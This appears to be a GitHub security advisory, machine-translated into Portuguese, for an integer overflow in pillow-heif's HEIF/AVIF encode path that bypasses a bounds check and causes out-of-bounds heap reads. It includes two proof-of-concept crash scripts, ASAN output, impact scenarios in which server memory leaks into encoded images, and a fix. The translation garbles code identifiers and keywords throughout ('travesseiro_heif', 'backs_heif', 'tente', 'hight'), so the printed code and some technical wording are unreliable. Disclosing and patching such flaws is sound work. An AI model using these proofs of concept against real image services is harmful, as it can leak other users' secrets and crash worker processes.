Um transbordo de inteiros no buffer de caminho de codificação de `_ pillow_ heif.c` permite que um atacante perca os limites verificados fornecendo grandes dimensões de imagens, resultando em uma leitura de um monte fora de limites. Isto pode levar à divulgação de informações (memória do servidor vazando em imagens codificadas) ou à negação de serviço (caixe de processo). Não é necessária nenhuma configuração especial — isto ativa sob as configurações padrão. A validação do buffer em `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()` e `_CtxWriteImage_add_plane_l()` usa 32 - bit multiplicação `int` para verificar se o buffer de entrada é grande o suficiente: ``` c // _pillow_heif.c, linhas 158, 344, 449 if (stride_in * height > buffer.len) { PyBuffer_Release(&buffer); PyErr_ SetString(PyExc_ValueError, "plano de imagem não contém dados suficientes"); retorna NULL; } ``` Tanto `stride_in` quanto `hight` são declaradas como `int` ( 32 - bit assinado). Quando o produto exceder o `INT_MAX` ( 2,147,483,647 ), a multiplicação transborda antes da comparação com `buffer.len` (que é `Py_ssize_t`, 64 - bit). O valor transbordado enrola para zero ou um número negativo, fazendo com que os limites check passem incorretamente.

Por exemplo, com `stride_in = 196608 ` ( 65536 × 3 para RGB) e ` height = 65536 `: - Produto verdadeiro: 12,884,901,888 - ` int 32 ` produto: 0 (embrulha) - Comparação: ` 0 > buffer.len` → "false` → verificação não utilizada Após a verificação ser evitada, o loop subsequente lê-se além do buffer de entrada: ```c para (int i = 0; i < altura; i++) mencpy( out + stride_ out * i, in + stride_ in * i, real_ stride); ``` Além disso, `real_strude = largura * n_canais` (por exemplo, linha 148: `real_ stride = largura * 3 `) é também calculado como `int * int`, que pode sobrecarregar independentemente para grandes valores `largura'.

Esta vulnerabilidade existe no caminho ** encode**, que é distinto do caminho de decode: - O caminho decode é parcialmente guardado pelos limites de segurança integrados da libheif - O caminho de encode tem ** nenhum desses guardas** — `DISABLE_SECURITY_LIMITS` é irrelevante - O caminho de codificação é alcançável sempre que um aplicativo chama `pillow_heif.encode()` ou salva uma imagem através do Almofada com `formato="HEIF"` / `formato="AVIF"` **Funções afetadas** (todos em `_pillow_heif.c`): - `_CtxWriteImage_add_plane()` — linha 158 - `_CtxWriteImage_add_plane_la()` — linha 344 - `_CtxWriteImage_add_plane_l()` — linha 449 ** CWE**: CWE- 190 (Overflow ou Enrolar do inteiro) → CWE- 125 (Lê fora de limites) ``` Bash pip instalar travesseiro-heif Travesseiro ```. Para confirmação do ASAN:.

```Bash # macOS (Apple Clang) CC="cc -fsanitize= address - fno-omit-frame-pointer -g" pip install --no-binar travesseiro-heif travesseiro-heif # Linux (GCC) CC="gcc -fsanitize= address -fno-omit-frame-pointer -g" pip install --no-binar travesseiro-heif travesseiro-heif `` Teste de #### 1: Crash without ASAN (processo morto por SIGSEGV/SIGBUS). ````python importar travesseiro_heif do io importar BytesIO # largura= 32768, altura= 32768 => 1,073,741,824 pixels (dentro do limite de segurança da libheif) # stride_in = 32768 * 3 = 98304 # 98304 * 32768 = 3,221,225,472 > INT_ MAX ( 2,147,483,647 ) # int 32 transbordo: enrola para - 1,073,741,824 # Ligações verificação: - 1,073,741,824 > 1,048,576 → Falso → BYPASSED largura = 32768 altura = 32768 buffer = b"\x 00 " * ( 1024 * 1024 ) # 1 MB (necessidade real: ~ 3 GB).

buf = BytesIO() tente: backs_heif.encode("RGB", (largura, altura), buffer, buf, quality=- 1 ) print("[!] encode() conseguiu — a verificação dos limites foi evitada") exceto MemoryError como e: print( f"[*] MemoryError (lipheif pegou-o mais tarde): {e}") print("[*] int 32 Ocorreu transbordo — a verificação dos limites do nível C foi evitada") exceto ValorErro como e: print( f"[-] ValorErro (obter a verificação dos limites trabalhado): {e}") ``` Sem ASAN, isto bloqueia o processo com o código de saída ** 138 (SIGBUS)** ou ** 139 (SIGSEGV)**. Teste de #### 2: Passo explícito — imagem pequena, falha imediata. ````python importar travesseiro_heif do io importar BytesIO # 100 x 100 pixels — bem dentro de qualquer limite de segurança # stride=INT_MAX ( 2,147,483,647 ), altura= 100 # INT_MAX * 100 transbordos int 32 → valor pequeno ou negativo # Verificação de limites evitada, mencpy lê muito além do 256 -byte buffer largura = 100 altura = 100 stride_val = 2 _ 147 _ 483 _ 647 small_buffer = b"\x 00 " * 256.

buf = BytesIO() tente: backs_heif.encode("RGB", (largura, altura), small_buffer, buf, quality=- 1, stride=stride_val) print("[!] encode() conseguiu — a verificação dos limites foi evitada") exceto ValueError como e: print( f"[-] ValueError (obter a verificação dos limites trabalhado): {e}") ```` Sem ASAN, isto falha com o código de saída ** 139 (SIGSEGV)**. Com uma construção do travesseiro-heif habilitada para ASAN 1.2.1 no macOS (Apple Clang 17, braço 64, Python 3.14 ), Teste 1 produz: ``` == 60070 == ERRO: Endereço Sanitante: paramete- tamanho negativo: (tamanho=- 1073741824 ) # 0 0 x... em (libclang_rt.asan_osx_dynamic.dylib) # 1 0 x... em __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib) # 2 0 x... em _CtxWriteImagem_add_plano+ 0 x 5 bc (_ pillow_heif. cpython- 314 -darwin.so) # 3 0 x... no método_vectorcall_VARARGS (libpython 3.14.dylib)...

0 x... está localizado 32 bytes dentro de 1048609 - região de byte [ 0 x..., 0 x...) alocado por thread T 0 aqui: # 0 0 x... em malloc (libclang_rt.asan_osx_dynamic.dylib)... RESUMEN: Sanitante de Endereço: parama de tamanho negativo (_ pillow_heif.cpython- 314 -darwin.so) em _CtxWriteImagem_add_plano+ 0 x 5 bc ``` O transbordo em ` stride_ in * height` ( 98304 × 32768 = 3,221,225,472 ) enrola para `- 1,073,741,824 ` em 32 - bit assinado aritmética. Este valor negativo passa pela verificação dos limites e é passado diretamente para `memcpy` como parâmetro de tamanho, causando uma leitura fora de limites a partir do 1 Buffer de entrada de MB. **Quem é impactado**: Qualquer aplicativo que use o travesseiro- heif para codificar imagens onde as dimensões (largura, altura) podem ser influenciadas por entrada externa. Os cenários comuns incluem:.

- APIs web de redimensionamento/conversão de imagens (por exemplo, geração de miniaturas, endpoints de conversão de formato) - Sistemas de gerenciamento de conteúdo que convertem imagens carregadas para HEIF/AVIF - Condutas de processamento de imagens que aceitam dimensões de saída especificadas pelo usuário **Divulgação de informações (como sangrados)**: A cópia de arquivos de memória de pilha lida adjacente ao buffer de entrada na imagem de saída. Se a imagem codificada for devolvida ao solicitante, ela poderá conter fragmentos de: - Dados de solicitação de outros usuários - Objetos Python (cadeias, arrays de bytes) - Tokens de sessão, chaves API ou outros dados sensíveis do monte do servidor ** Denial of Service**: Quando `memcpy` atinge páginas de memória não mapeadas, o processo falha com SIGSEGV. A exploração repetida pode derrubar todos os processos de trabalhadores (gunicórnio, uvivrórnio, etc.). **Sugestão de correção**: Caste os operands para `Py_ssize_t` antes da multiplicação em todos os três locais:.

````c // Antes (vulnerável): se (stride_ in * height > buffer. len) { // Após (fixado): se (((Py_ssize_t)stride_in * (Py_ssize_t)hight > buffer.len) { ```. **Arte anterior**: - CVE- 2024 - 5197 (libvpx): transbordo de inteiros em `vpx_img_alloc()`, CVSS 7.5 - CVE- 2024 - 5171 (libaom): transbordo de inteiros em ` aom_img_alloc()`, CVSS 9.8 Registro de aconselhamento: GHSA- 5 gjj- 6 r 7 v-ph 3 x. Identificadores relacionados: CVE- 2026 - 28231. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 20 T 19: 08: 04.000 Z e lista a sua última modificação como 2026 - 07 - 20 T 19: 08: 04.000 Z.

Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/África do Sul:N/E:P. Informações sobre software e versão afetadas: pacote pi- heif do PyPI — ECOSISTEM: introduzido 0, corrigido 1.3.0. Pacote PyPI de travesseiro- heif — ECOSISTEM: introduzido 0, corrigido 1.3.0. Classificação e evidência: identificadores de fraqueza CWE- 125. O registro contém 7 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.